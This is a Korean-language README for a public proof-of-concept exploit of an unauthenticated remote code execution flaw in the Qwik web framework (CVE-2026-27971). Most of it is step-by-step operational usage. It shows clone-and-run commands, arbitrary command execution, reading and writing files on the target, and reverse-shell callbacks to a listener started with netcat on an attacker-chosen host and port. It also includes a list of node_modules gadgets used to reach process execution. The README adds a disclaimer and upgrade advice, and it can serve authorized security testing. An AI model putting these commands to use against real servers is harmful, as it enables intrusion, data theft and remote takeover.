
CVE-2026-27971 qwik rce
server$ 인증되지 않은 RCE PoC[!WARNING] 이 저장소에는 활성 원격 코드 실행(RCE) 개념 증명(PoC)이 포함되어 있습니다. 소유한 시스템 또는 명시적으로 테스트 승인을 받은 시스템에서만 사용하십시오. 작성자는 무단 사용 또는 피해에 대해 책임을 지지 않습니다.
Qwik server$ RPC 역직렬화 메커니즘의 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm에 대한 독립형 Python 개념 증명(PoC)입니다.
이 PoC는 능동 마커 프로브를 실행하고, 명령을 실행하며, 텍스트 파일을 읽거나 쓰고, Linux 또는 Windows 대상에 리버스 셸을 요청할 수 있습니다. Python 표준 라이브러리만 사용합니다.
| 필드 | 값 |
|---|
| 제품 | Qwik — npm 패키지 @builder.io/qwik |
| 영향받는 버전 | <= 1.19.0 |
| 패치 버전 | 1.19.1 |
| 취약점 | 안전하지 않은 server$ 역직렬화를 통한 인증되지 않은 원격 코드 실행 |
| 런타임 조건 | 런타임에서 require()를 사용할 수 있어야 함 |
| CWE | CWE-502 — 신뢰할 수 없는 데이터의 역직렬화 |
| 심각도 | 치명적 — CVSS 4.0: 9.2 |
| 벡터 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
정교하게 구성된 application/qwik-json 요청은 서버 측 모듈과 내보낸 심볼을 참조할 수 있습니다. 취약한 Qwik 버전은 런타임 require()를 통해 등록되지 않은 QRL을 해석하고 인증 없이 호출할 수 있습니다. 이 PoC는 대상의 node_modules에 이미 존재하는 호환 가능한 프로세스 실행 내보내기에 도달하려고 시도합니다.
운영자:
server$/Qwik JSON 요청을 처리하는 정확한 Qwik 라우트에 대한 네트워크 접근.대상:
@builder.io/qwik <= 1.19.0을 사용하는 취약한 Qwik 배포.require()를 사용할 수 있는 런타임.node_modules에서 접근 가능한 호환 가젯 모듈 및 내보내기.PATH에서 사용 가능한 node.타사 Python 패키지는 필요하지 않습니다.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
요청을 보내지 않고 내장 가젯 목록을 확인합니다:
python3 exploit_combat.py --list-gadgets
능동 마커 프로브를 실행하고 모든 내장 가젯을 시도합니다:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probe는 수동적 버전 탐지가 아닙니다. 원격 코드 실행을 시도하고 대상 프로세스에서 마커를 출력하여 이를 확인합니다.
명령 실행:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
UTF-8 텍스트 파일 읽기:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
UTF-8 텍스트 파일 쓰기 및 검증:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
지속적 리스너를 시작한 후 리버스 셸 요청:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
자동 OS 탐지가 적절하지 않을 때 Windows 리버스 셸 페이로드를 강제로 사용:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
이 스크립트는 리스너를 시작하지 않습니다. --callback 사전 점검은 셸 페이로드를 보내기 전에 별도의 TCP 연결을 열고 닫으므로, 둘 이상의 연결을 수락할 수 있는 리스너를 사용하십시오.
| 옵션 | 설명 |
|---|---|
-t URL, --target URL | 정확한 대상 URL. 기본값: http://localhost:3000. 라우트는 자동으로 발견되지 않습니다. |
--probe | 마커 페이로드를 능동적으로 실행하고 OS 탐지를 시도합니다. |
-c CMD, --CMD CMD | Node.js child_process.execSync()를 통해 명령을 실행합니다. |
--read PATH | fs.readFileSync()를 사용하여 UTF-8 텍스트 파일을 읽습니다. |
--write PATH --content TEXT | 텍스트 파일을 쓰고, 다시 읽어 결과를 비교합니다. 상위 디렉터리는 생성되지 않습니다. |
--list-gadgets | 내장 가젯 이름을 출력하고 네트워크 요청 없이 종료합니다. |
--lhost IP | 리버스 셸 모드를 활성화하고 콜백 주소를 설정합니다. |
--lport PORT | 콜백 포트를 설정합니다. 기본값: 4444. |
--rev-all | 첫 번째 HTTP 요청이 수락된 후 중지하는 대신 모든 리버스 셸 변형을 전송합니다. |
--callback | 리버스 셸 페이로드를 보내기 전에 아웃바운드 TCP 연결 가능 여부를 테스트합니다. |
--OS {auto,linux,windows} | 리버스 셸 페이로드 계열을 선택합니다. 기본값: auto. |
--gadget SPEC | auto, 내장 이름 또는 사용자 정의 <module>#<symbol>을 사용합니다. 기본값: cross-spawn.sync. |
--arg-style {argv,command,shell} | 사용자 정의 <module>#<symbol> 가젯의 인수 스타일입니다. |
--timeout SECONDS | 클라이언트 측 HTTP 타임아웃. 기본값: 30. |
--verify-ssl | TLS 인증서 및 호스트 이름 검증을 활성화합니다. 검증은 기본적으로 비활성화되어 있습니다. |
파서에서 액션 모드는 상호 배타적이지 않습니다. 각 호출에서는 --probe, --CMD, --read, --write, --lhost 중 하나만 사용하십시오.
| 이름 | 모듈 및 내보내기 | 스타일 |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto는 나열된 순서대로 이러한 가젯을 테스트합니다. 사용자 정의 가젯은 다음과 같이 제공할 수 있습니다:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe
cross-spawn.sync입니다. 대상의 의존성 구성이 알려지지 않은 경우 --gadget auto를 사용하십시오.--read는 UTF-8을 기대하며, --write는 이진 데이터용이 아닙니다.--rev-all은 대상에서 여러 프로세스 또는 콜백을 시작할 수 있습니다. 격리된 실험실에서만 사용하십시오.@builder.io/qwik를 1.19.1 이상으로 업그레이드하고, 잠금 파일을 업데이트하고, 애플리케이션을 다시 빌드한 후 모든 서버 산출물을 재배포하십시오. 호환 가능한 가젯을 제거하는 것만으로는 근본적인 Qwik 취약점을 완전히 해결할 수 없습니다.
이 프로젝트는 보안 연구, 방어적 검증 및 승인된 테스트를 위해 제공됩니다. 명시적 허가 없이 시스템에 대해 사용하지 마십시오.